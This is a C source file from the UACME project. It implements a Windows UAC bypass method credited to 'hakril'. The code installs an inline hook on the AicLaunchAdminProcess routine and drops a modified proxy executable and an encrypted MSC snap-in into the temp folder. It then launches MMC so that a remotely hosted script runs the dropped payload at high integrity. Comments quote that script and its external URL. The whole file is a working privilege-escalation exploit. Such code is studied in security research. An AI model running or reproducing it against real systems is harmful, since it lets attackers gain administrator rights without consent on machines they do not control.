mirror of https://github.com/hfiref0x/UACME.git
277 lines
7.6 KiB
C
277 lines
7.6 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2017
|
|
*
|
|
* TITLE: HAKRIL.C
|
|
*
|
|
* VERSION: 2.76
|
|
*
|
|
* DATE: 13 July 2017
|
|
*
|
|
* UAC bypass method from Clement Rouault aka hakril.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
|
|
LPWSTR g_SnapInParameters = NULL;
|
|
pfnAipFindLaunchAdminProcess g_OriginalFunction = NULL;
|
|
|
|
/*
|
|
* AicLaunchAdminProcessHook
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Hook handler for tampering APPINFO params.
|
|
*
|
|
*/
|
|
ULONG_PTR WINAPI AicLaunchAdminProcessHook(
|
|
LPWSTR lpApplicationName,
|
|
LPWSTR lpParameters,
|
|
DWORD UacRequestFlag,
|
|
DWORD dwCreationFlags,
|
|
LPWSTR lpCurrentDirectory,
|
|
HWND hWnd,
|
|
PVOID StartupInfo,
|
|
PVOID ProcessInfo,
|
|
ELEVATION_REASON *ElevationReason
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(lpParameters);
|
|
|
|
return g_OriginalFunction(lpApplicationName,
|
|
g_SnapInParameters,
|
|
UacRequestFlag,
|
|
dwCreationFlags,
|
|
lpCurrentDirectory,
|
|
hWnd,
|
|
StartupInfo,
|
|
ProcessInfo,
|
|
ElevationReason);
|
|
}
|
|
|
|
/*
|
|
* ucmMethodHakril
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing "feature" of appinfo command line parser.
|
|
* (all bugs are features/not a boundary of %something% by MS philosophy)
|
|
* Command line parser logic allows execution of custom snap-in console as if it
|
|
* "trusted" by Microsoft, resulting in your code running inside MMC.exe on High IL.
|
|
*
|
|
* Trigger: custom console snap-in with shockwave flash object resulting in
|
|
* execution of remote script on local machine with High IL.
|
|
*
|
|
*/
|
|
BOOL ucmMethodHakril(
|
|
PVOID ProxyDll,
|
|
DWORD ProxyDllSize
|
|
)
|
|
{
|
|
BOOL bResult = FALSE, bCond = FALSE, bExtracted = FALSE;
|
|
ULONG DataSize = 0, SnapinSize = 0, ErrorCode = 0;
|
|
SIZE_T Dummy;
|
|
PVOID SnapinResource = NULL, SnapinData = NULL;
|
|
PVOID ImageBaseAddress = NtCurrentPeb()->ImageBaseAddress;
|
|
PVOID LaunchAdminProcessPtr = NULL;
|
|
LPWSTR lpText;
|
|
|
|
DWORD DllVirtualSize;
|
|
PVOID EntryPoint, DllBase;
|
|
PIMAGE_NT_HEADERS NtHeaders;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
SHELLEXECUTEINFO shinfo;
|
|
|
|
do {
|
|
|
|
//
|
|
// Lookup AicLaunchAdminProcess routine pointer.
|
|
//
|
|
LaunchAdminProcessPtr = (PVOID)AipFindLaunchAdminProcess(&ErrorCode);
|
|
if (LaunchAdminProcessPtr == NULL) {
|
|
|
|
switch (ErrorCode) {
|
|
case ERROR_UNKNOWN_REVISION:
|
|
lpText = TEXT("This Windows build has no pattern for AicLaunchAdminProcess binary search.");
|
|
break;
|
|
|
|
case ERROR_PROC_NOT_FOUND:
|
|
lpText = TEXT("The required procedure address not found.");
|
|
break;
|
|
|
|
default:
|
|
lpText = TEXT("Unspecified error in AipFindLaunchAdminProcess.");
|
|
break;
|
|
}
|
|
|
|
ucmShowMessage(lpText);
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Decrypt and decompress custom Kamikaze snap-in.
|
|
//
|
|
SnapinResource = supLdrQueryResourceData(
|
|
KAMIKAZE_ID,
|
|
ImageBaseAddress,
|
|
&DataSize);
|
|
|
|
if (SnapinResource) {
|
|
SnapinData = g_ctx.DecryptRoutine(SnapinResource, DataSize, &SnapinSize);
|
|
if (SnapinData == NULL)
|
|
break;
|
|
}
|
|
else
|
|
break;
|
|
|
|
//
|
|
// Replace default Fubuki dll entry point with new and remove dll flag.
|
|
//
|
|
NtHeaders = RtlImageNtHeader(ProxyDll);
|
|
if (NtHeaders == NULL)
|
|
break;
|
|
|
|
DllVirtualSize = 0;
|
|
DllBase = PELoaderLoadImage(ProxyDll, &DllVirtualSize);
|
|
if (DllBase) {
|
|
|
|
//
|
|
// Get the new entrypoint.
|
|
//
|
|
EntryPoint = PELoaderGetProcAddress(DllBase, "_FubukiProc3");
|
|
if (EntryPoint == NULL)
|
|
break;
|
|
|
|
//
|
|
// Set new entrypoint and recalculate checksum.
|
|
//
|
|
NtHeaders->OptionalHeader.AddressOfEntryPoint =
|
|
(ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);
|
|
|
|
NtHeaders->FileHeader.Characteristics &= ~IMAGE_FILE_DLL;
|
|
|
|
NtHeaders->OptionalHeader.CheckSum =
|
|
supCalculateCheckSumForMappedFile(ProxyDll, ProxyDllSize);
|
|
|
|
VirtualFree(DllBase, 0, MEM_RELEASE);
|
|
|
|
}
|
|
else
|
|
break;
|
|
|
|
|
|
//
|
|
// Write Fubuki.exe to the %temp%
|
|
//
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx.szTempDirectory);
|
|
Dummy = _strlen(szBuffer);
|
|
_strcat(szBuffer, FUBUKI_EXE);
|
|
|
|
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//
|
|
// Write payload msc snap-in to the %temp%
|
|
//
|
|
// All payload of this msc file is a link to external site
|
|
//
|
|
// <String ID="3" Refs="1">https://hfiref0x.github.io/Beacon/uac/exec</String>
|
|
//
|
|
// Where contents of this page are the following:
|
|
//
|
|
// <html><body><script>external.ExecuteShellCommand("%temp%\\fubuki.exe", "%systemdrive%", "", "Restored");</script></body></html>
|
|
// raw.githubusercontent.com/hfiref0x/Beacon/master/uac/exec.html
|
|
//
|
|
szBuffer[Dummy] = 0;
|
|
_strcat(szBuffer, KAMIKAZE_MSC);
|
|
if (!supWriteBufferToFile(szBuffer, SnapinData, SnapinSize))
|
|
break;
|
|
|
|
bExtracted = TRUE;
|
|
|
|
//
|
|
// Allocate and fill snap-in parameters buffer.
|
|
//
|
|
g_SnapInParameters = supHeapAlloc(0x1000);
|
|
if (g_SnapInParameters == NULL)
|
|
break;
|
|
|
|
_strcpy(g_SnapInParameters, TEXT("huy32,wf.msc \""));
|
|
_strcat(g_SnapInParameters, szBuffer);
|
|
_strcat(g_SnapInParameters, TEXT("\""));
|
|
|
|
//
|
|
// Setup inline hook.
|
|
//
|
|
if (MH_Initialize() != MH_OK)
|
|
break;
|
|
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 4054)//code to data
|
|
if (MH_CreateHook((LPVOID)LaunchAdminProcessPtr,
|
|
(LPVOID)AicLaunchAdminProcessHook,
|
|
(LPVOID)&g_OriginalFunction) != MH_OK)
|
|
{
|
|
break;
|
|
}
|
|
#pragma warning(pop)
|
|
|
|
if (MH_EnableHook((LPVOID)LaunchAdminProcessPtr) != MH_OK)
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
|
|
|
|
//
|
|
// Run trigger application.
|
|
//
|
|
shinfo.cbSize = sizeof(shinfo);
|
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shinfo.lpFile = MMC_EXE;
|
|
shinfo.lpParameters = g_SnapInParameters;
|
|
shinfo.lpDirectory = NULL;
|
|
shinfo.lpVerb = RUNAS_VERB;
|
|
shinfo.nShow = SW_SHOW;
|
|
bResult = ShellExecuteEx(&shinfo);
|
|
if (bResult) {
|
|
if (WaitForSingleObject(shinfo.hProcess, 0x4e20) == WAIT_TIMEOUT)
|
|
TerminateProcess(shinfo.hProcess, (UINT)-1);
|
|
CloseHandle(shinfo.hProcess);
|
|
}
|
|
|
|
} while (bCond);
|
|
|
|
//
|
|
// Cleanup.
|
|
//
|
|
MH_Uninitialize();
|
|
|
|
if (SnapinData) {
|
|
RtlSecureZeroMemory(SnapinData, SnapinSize);
|
|
Dummy = 0;
|
|
NtFreeVirtualMemory(NtCurrentProcess(), &SnapinData, &Dummy, MEM_RELEASE);
|
|
}
|
|
|
|
if (g_SnapInParameters) {
|
|
supHeapFree(g_SnapInParameters);
|
|
g_SnapInParameters = NULL;
|
|
}
|
|
|
|
//
|
|
// Remove our msc file. Fubuki should be removed by payload code itself as it will be locked on execution.
|
|
//
|
|
if (bExtracted) {
|
|
_strcpy(szBuffer, g_ctx.szTempDirectory);
|
|
_strcat(szBuffer, KAMIKAZE_MSC);
|
|
DeleteFile(szBuffer);
|
|
}
|
|
|
|
return bResult;
|
|
}
|